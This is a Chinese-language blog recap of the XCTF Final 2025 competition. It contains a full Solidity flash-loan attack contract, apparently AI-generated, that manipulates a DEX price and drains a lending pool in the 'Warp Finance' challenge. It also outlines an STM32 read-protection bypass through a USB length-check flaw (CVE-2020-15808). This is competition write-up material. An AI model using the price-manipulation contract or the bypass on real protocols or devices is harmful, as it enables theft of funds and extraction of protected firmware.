Day -1
比赛前几天就到这附近了(江浙沪就是附近!),去参加了下GEEKCON 2025。看了些DARKNAVY做的比较有意思的安全披露和挑战,印象比较深的有Web3钱包的攻击之类的。但是不给底层原理的这个会议其实没有那么有趣。(当然如果给底层原理也就不会有下面这条了)

Day 1
这场比赛算是,对于AI感知最大的一场了…?
Misc - Warp Finance
比较简单(?的闪电贷套利。今年初的VNCTF 2025才出过一个类似的,同样ethernaut也有类似的题目。打开claude code试一试,结果它还真给出了一个能用的脚本。
// SPDX-License-Identifier: MITpragma solidity ^0.8.23;import "../src/Setup.sol";import "../src/core/WarpDexPair.sol";import "../src/core/WarpLendingPool.sol";import "../src/utils/StableFlashMinter.sol";import "../src/tokens/MockERC20.sol";contract SimpleAttacker { Setup public setup; MockERC20 public collateralToken; MockERC20 public stableToken; WarpDexPair public dex; WarpLendingPool public pool; StableFlashMinter public flashMinter; address public owner; constructor(address _setup) { setup = Setup(_setup); collateralToken = setup.collateralToken(); stableToken = setup.stableToken(); dex = setup.dex(); pool = setup.pool(); flashMinter = setup.flashMinter(); owner = msg.sender; } function attack() external { require(msg.sender == owner, "Only owner can attack"); // Claim initial tokens first setup.claim(); // Execute multiple flash loans to extract maximum value for (uint256 i = 0; i < 5; i++) { uint256 available = stableToken.balanceOf(address(flashMinter)); if (available > 1 ether) { bytes memory data = abi.encode(i); flashMinter.flashBorrow(available, data); } else { break; } } // Final cleanup: withdraw any remaining collateral _finalCleanup(); } function onFlashLoan(uint256 amount, uint256 fee, bytes calldata data) external { require(msg.sender == address(flashMinter), "Only flash minter can call"); uint256 round = abi.decode(data, (uint256)); // Calculate repayment amount uint256 repayAmount = amount + fee; if (round == 0) { // First round: major price manipulation and pool draining _firstRoundAttack(amount, repayAmount); } else { // Subsequent rounds: extract more value from collateral _extractMoreValue(amount, repayAmount); } // Always ensure repayment _ensureRepayment(repayAmount); // Transfer any remaining profit to owner uint256 profit = stableToken.balanceOf(address(this)); if (profit > 0) { stableToken.transfer(owner, profit); } } function _firstRoundAttack(uint256 amount, uint256 repayAmount) internal { // Use most of flash loan for price manipulation uint256 manipulationAmount = (amount * 98) / 100; // 98% for manipulation // Swap to get collateral at low price stableToken.approve(address(dex), manipulationAmount); uint256 collateralReceived = dex.swap( address(stableToken), manipulationAmount, 0, address(this) ); // Deposit all collateral to maximize borrowing power collateralToken.approve(address(pool), collateralReceived); pool.depositCollateral(collateralReceived); // Borrow everything possible from the pool uint256 poolBalance = stableToken.balanceOf(address(pool)); (,uint256 maxBorrowable,) = pool.accountStatus(address(this)); uint256 borrowAmount = maxBorrowable < poolBalance ? maxBorrowable : poolBalance; if (borrowAmount > 0) { pool.borrow(borrowAmount); } } function _extractMoreValue(uint256 amount, uint256 repayAmount) internal { // For later rounds, focus on extracting value from our collateral position uint256 collateralDeposited = pool.collateralDeposits(address(this)); uint256 currentDebt = pool.debt(address(this)); if (collateralDeposited > 0) { // Calculate how much we can safely withdraw (uint256 collateralValue,,) = pool.accountStatus(address(this)); // Minimum collateral value needed to maintain position uint256 minCollateralValue = (currentDebt * 1e18) / pool.COLLATERAL_FACTOR(); if (collateralValue > minCollateralValue) { // We can withdraw some excess collateral uint256 excessValue = collateralValue - minCollateralValue; uint256 currentPrice = dex.spotPrice(address(collateralToken)); uint256 maxWithdraw = (excessValue * 1e18) / currentPrice; // Withdraw with safety margin maxWithdraw = (maxWithdraw * 90) / 100; if (maxWithdraw > 0 && maxWithdraw <= collateralDeposited) { pool.withdrawCollateral(maxWithdraw); // Sell the withdrawn collateral collateralToken.approve(address(dex), maxWithdraw); dex.swap( address(collateralToken), maxWithdraw, 0, address(this) ); } } // Try to do another round of price manipulation with available funds uint256 availableForManipulation = stableToken.balanceOf(address(this)); if (availableForManipulation > repayAmount + 100 ether) { uint256 manipAmount = availableForManipulation - repayAmount - 50 ether; // Another round of price manipulation stableToken.approve(address(dex), manipAmount); uint256 newCollateral = dex.swap( address(stableToken), manipAmount, 0, address(this) ); // Deposit and borrow again collateralToken.approve(address(pool), newCollateral); pool.depositCollateral(newCollateral); (,uint256 newMaxBorrow,) = pool.accountStatus(address(this)); uint256 additionalBorrow = newMaxBorrow - currentDebt; uint256 poolBalance = stableToken.balanceOf(address(pool)); if (additionalBorrow > 0 && additionalBorrow <= poolBalance) { pool.borrow(additionalBorrow); } } } } function _ensureRepayment(uint256 repayAmount) internal { uint256 currentBalance = stableToken.balanceOf(address(this)); if (currentBalance < repayAmount) { uint256 shortage = repayAmount - currentBalance; // Withdraw collateral to cover shortage (uint112 reserve0, uint112 reserve1) = dex.getReserves(); uint256 collateralNeeded = (shortage * uint256(reserve0) * 110) / (uint256(reserve1) * 100); uint256 availableCollateral = pool.collateralDeposits(address(this)); if (collateralNeeded > availableCollateral) { collateralNeeded = availableCollateral; } if (collateralNeeded > 0) { pool.withdrawCollateral(collateralNeeded); collateralToken.approve(address(dex), collateralNeeded); dex.swap( address(collateralToken), collateralNeeded, 0, address(this) ); } } // Repay the flash loan stableToken.transfer(address(flashMinter), repayAmount); } function _finalCleanup() internal { // Extract any remaining collateral value uint256 remainingCollateral = pool.collateralDeposits(address(this)); uint256 currentDebt = pool.debt(address(this)); if (remainingCollateral > 0) { // Try to withdraw remaining collateral if debt allows if (currentDebt == 0) { // No debt, can withdraw everything pool.withdrawCollateral(remainingCollateral); collateralToken.approve(address(dex), remainingCollateral); dex.swap( address(collateralToken), remainingCollateral, 0, owner ); } else { // Calculate safe withdrawal amount (uint256 collateralValue,,) = pool.accountStatus(address(this)); uint256 minRequired = (currentDebt * 1e18) / pool.COLLATERAL_FACTOR(); if (collateralValue > minRequired) { uint256 excessValue = collateralValue - minRequired; uint256 currentPrice = dex.spotPrice(address(collateralToken)); uint256 withdrawable = (excessValue * 1e18) / currentPrice; withdrawable = (withdrawable * 95) / 100; // Safety margin if (withdrawable > 0 && withdrawable <= remainingCollateral) { pool.withdrawCollateral(withdrawable); collateralToken.approve(address(dex), withdrawable); dex.swap( address(collateralToken), withdrawable, 0, owner ); } } } } // Transfer any remaining stable tokens to owner uint256 remainingStable = stableToken.balanceOf(address(this)); if (remainingStable > 0) { stableToken.transfer(owner, remainingStable); } } // Check if attack was successful function checkSuccess() external view returns (bool) { return setup.isSolved(); }}于是拿了一血。
Misc - GhostTunnel
这个比较有意思的一个golang实现的tunnel,但是第一问被非预期了——给了core dump,strings搜一下就拿到flag的base64了。Revenge其实就是把这个字符串删了…
如果正常来做的话,首先观察发现是upx的,想办法脱壳:(尝试用qiling跑模拟,调了半天发现upx可以直接解)而后拖入ida观察发现有这样的定义_golang,也能找到一些golang风格的调用。
GitHub - mandiant/GoReSym: Go symbol recovery tool用了这个软件拿到了golang的符号,大概(用AI)看了眼发现了主要逻辑的位置,没往后逆了,过几天看看有没有空补上。预期做法大概是从core dump里拿密钥,然后再解密流量拿flag。不过最后是零解,想必也不是很简单了。
Reverse - Rewrite it in Rust
一个wasm,js里没啥内容??主要逻辑都在wasm二进制里,怎么还是rust。。。尝试用ida mcp做了会还真吐出来了flag。
Realworld - STM32-MorseCode
一块开发版,要求是在Pin C13上敲XCTF的morse 电码就给uid,然后把uid通过Mifare Classic Tool 写入就能在现场刷卡了
__ __ _____ _______ ______ ____ _____ _____\ \ / // ____||__ __|| ____| / __ \ / ____|| __ \ \ V /| | | | | |__ \ / | | | || (___ | |__) | > < | | | | | __| X | | | | \___ \ | _ / / . \| |____ | | | | / \ | |__| | ____) || | \ \/_/ \_\\_____| |_| |_| \____/ |_____/ |_| \_\[*] Welcome to XCTF Final 2025 ~[0] The Attachment at https://github.com/xuanxuanblingbling/xctf_2025_final_rw_stm32[1] Tap Morse code "XCTF" at PC13 (active low) to get the first NFC M1 Card UID ![2] Use CVE-2020-15808 or Glitch Attack to bypass STM32F103 RDP1, get the second NFC M1 Card UID at 0x0800F000 !Realworld - STM32-RDPBypass
和上面一样的一块STM32开发版。提示是用CVE-2020-15808或者Glitch Attack来绕过RDP level 1 读取,而后读取内存上的0x0800F000处的uid。
💡 RDP是Read Protection。在STM32中,flash和CPU,memory等固件被一起封装到MCU片中,这样我们就无法使用烧录夹来单独读取flash固件中的内容了(对比esp32?)。所以为了让在mcu中的flash也无法被读取,stm设计了一套读保护机制,在使用stlink或者jlink这类调试器时,系统不会允许读取flash中的内容。
于是RDP bypass就是用来读取这样内容的。
根据提示有两种方法,一种是Glitch Attack,我没用这个方法(其实就是没找到Orz)放一篇paper吧。
View of Shaping the Glitch: Optimizing Voltage Fault Injection Attacks
第二种是CVE,根据网上不算很多的信息能定位到一条推文——带有源码漏洞位置
Tweet: https://x.com/horac341/status/1311911734572208129
以及一篇pdf
由此可以定位到相关的函数(其他地方应该也有,大概是a2这个结构体)

经过仔细比对确实是没有长度检查,对比后来的stm32库中的代码,在这个库中https://github.com/STMicroelectronics/stm32-mw-usb-device/blob/d1a9b6baeafc56053db3f8ac946c98e5aa925338/Class/CDC/Src/usbd_cdc.c
才添加了相对应的长度check,堵死了这个漏洞。
于是我们只需要用pyusb这类设备操作usb给stm32的硬件发送构造好的request,就能读取到数据的内容。
但是由于用脑过度没能做出来,遗憾。
💡 赛后出题人说用Glitch Attack的找他们借了设备的都被送了设备,彻底失败。
过几天复现了再发一篇文章😭
Day 2 AWD
原汁原味的AWD(存疑。
因为主要是web和pwn,没我什么事情,所以负责写脚本,批量化运行exp并提交flag。(乐
当然web小伙伴评价也是没什么参与感.jpg。把题目贴进chatgpt或者claude code,然后等一会就能看到攻击路径,然后写代码就好了。。。
但是比较新奇的是增加了可以看flag的流量包和其他选手的patch,所以这比awdp更有趣更刺激。
solo
solo是两位crypto小伙伴做的。在开始第一轮时我们是前4,所以24 - 12 我们没有打。而后是一个16 - 8。这场是crypto,没看。下面一场8 - 4 是 re, 同样用mcp扔给gpt是rc2,搓了脚本秒出。4 - 2 是vm,好消息是代码很短,稍微理一理逻辑,也不是很难的。
最后一个是pwn,对手是我们的pwn老大tplus(为什么在我们对面!),毫无疑问地输了。
END
燃尽了,睡酒店里还被蚊子咬了好多包!睡觉去了Orz